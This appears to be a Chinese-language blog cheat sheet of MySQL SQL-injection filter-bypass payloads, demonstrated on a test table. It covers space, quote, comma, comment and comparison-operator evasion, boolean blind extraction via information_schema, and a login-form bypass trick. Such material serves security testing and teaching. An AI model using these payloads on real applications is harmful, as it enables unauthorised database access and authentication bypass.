每次去找零散的 bypass 很麻烦,而且网上一些 bypass 语句并未做完整说明,想着不如自己搞一份 bypass 文档好了(这个文档会持续更新,一点点累积起来)

MYSQL

过滤空格

  1. 使用注释符 /**/

    1
    select * from testtable where name = '' union/**/ select 1,2,3,version() #';
  2. 使用空白字符

    1
    %0a %09 %0c %a0 %0b %0d %20
  3. 使用浮点数

    1
    2
    3
    4
    select * from testtable where id = 1E0union select 1,2,3,4;
    select * from testtable where id = 1.0union select 1,2,3,4;
    select * from testtable where id = 1.union select 1,2,3,4;
    select * from testtable where id = .1union select 1,2,3,4;

    本身感觉不存在这种规则场景下的 bypass,就当了解一下吧;核心原理是数据库在执行 SQL 语句前,会先进行词法分析,其能够准确的识别数字并且自动截断(数字中不能包含字母),即便中间没有空格

  4. 使用 \N

    \N 相当于 NULL 字符

    1
    select * from testtable where id = \Nunion select 1,2,3,4;
  5. 使用括号

    1
    2
    3
    select * from testtable where name = ''or(if((ascii(substr(database(),1,1))>90),1,0))#';
    select * from testtable where name = ''or(if((ascii(substr(database()from(1)for(1)))>90),1,0))#';
    select * from testtable where name = ''or(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>97)#';

过滤引号

  1. 使用进制编码

    一般用于后面包含表名字段名时

    1
    2
    3
    4
    # 16进制
    select * from testtable where name = 0x426f62;
    # 2进制
    select * from testtable where name = 0b010000100110111101100010;
  2. 登录框特定场景下

    这不是绕过,一个小技巧,也顺便总结在这里

    1
    select * from users where username='$_POST["username"]' and password='$_POST["password"]';

    可以构造

    1
    select * from users where username='admin\' and password='or 1=1#';

    image-20251228213142174

过滤逗号

  1. 使用 from 关键字

    配合 substr() mid()

    1
    select * from testtable where name = ''or(if((ascii(substr(database() from 1 for 1))>90),1,0))#';
  2. 使用 join 关键字

    配合 union select,多少个字段就连接多少个表

    1
    select * from testtable where name = '' union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d#';
  3. 使用 like 关键字

    1
    2
    select ascii(mid(database(),1,1))=98;
    select database() like 't%'; # 返回10

    感觉有点鸡肋,如果其他关键字没被过滤也用不到 like,其他关键字过滤了也不能只用 like 去注入

  4. 使用 offset 关键字

    配合 limit

    1
    2
    select * from testtable limit 0,1;
    select * from testtable limit 1 offset 0;

过滤注释符

MySQL 包含单行注释符:# -- 两个短横线+空格,多行注释符:/**/

由于 SQL 注入的本质就是闭合语句,这里我们也用同样的思维

1
select * from testtable where name = '1' union select 1,2,3,4'';

image-20251231195131270

过滤 > <

  1. 使用 greatest() 返回最大值,least() 返回最小值

    1
    2
    select * from testtable where name = '1' || ascii(substr(database(),1,1))>97#';
    select * from testtable where name = '1' || greatest(ascii(substr(database(),1,1)),97)=116#';

    image-20251231200359141

    显然和 ASCII 做比较的值最好尽可能的小,以防有特殊字符;对于二分法取32就好

  2. 使用 between and

    这里是包含 116 的

    image-20251231203912606

过滤=

  1. 使用like

    模糊匹配

    1
    select * from testtable where name like 'B%';
  2. 使用rlike regexp

    正则表达式匹配,这两个函数用法上没有区别的

    1
    2
    select * from testtable where name rlike 'B.*';
    select * from testtable where name regexp 'B.*';
  3. 使用in

    1
    select * from testtable where name in ('Bob');
  4. 使用!<>

    <>等价于!=

    1
    select * from testtable where !(name <> 'Bob');

    image-20251231205600717